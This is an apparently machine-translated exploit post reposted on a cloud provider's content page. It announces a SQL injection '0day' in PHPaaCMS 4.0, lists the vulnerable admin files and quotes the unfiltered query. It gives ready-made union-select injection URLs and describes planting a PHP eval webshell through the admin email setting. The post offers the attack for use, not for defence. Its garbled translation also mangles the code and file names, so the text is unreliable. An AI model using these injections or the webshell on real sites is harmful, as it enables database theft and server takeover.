PHPaaCMS4.0 injects 0day

Source: Internet
Author: User
A vulnerability called Brother Fei. A lot of holes have been exposed. Er, I used to think PHPaa is safe. Why can't Daniel see it? I like injection. Let's just inject it. Others are Baidu. Vulnerability file: adminpage. add. phpadminmessage. action. phpadminarticle. add. phpsearch. php $ use

A vulnerability called Brother Fei. A lot of holes have been exposed. Er, I used to thinkPHPAa is safe.

Why can't Daniel see it? I like injection. Let's just inject it. Other Baidu

.

Vulnerability files:

Admin/page.Dd.Php

Admin/message. action. php

Admin/article. add. php

Search. php

$ UserId=TrIm ($ _ GET ['userid'])? Trim ($ _ GET ['userid']): 0; // only spaces are filtered

Find("Select * from phpaadb_users where userid =". $ userid );

The above three pages are caused by lax filtering of userids.

Use EXP:

http://www.tmdsb.com/admin/friendlink.add.php?act=edit&id=1%20and%201=2%20union%20select%201,2,3,user%28%29,5,6
http://www.tmdsb.com/phpaaCMS/admin/user.add.php?act=edit,&userid=31  union select 1,user(),3
http://www.tmdsb.com/admin/article.add.php?act=add&cid=1&id=32%27

The webshell method is as follows:

Attackers use the Administrator's account and password to log on to the background. Then there is an administrator email address in the website configuration area. Direct

Write a sentence:/")?>
     Eval($ _ POST [tmd] //

Connect to a website. INc. Php

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.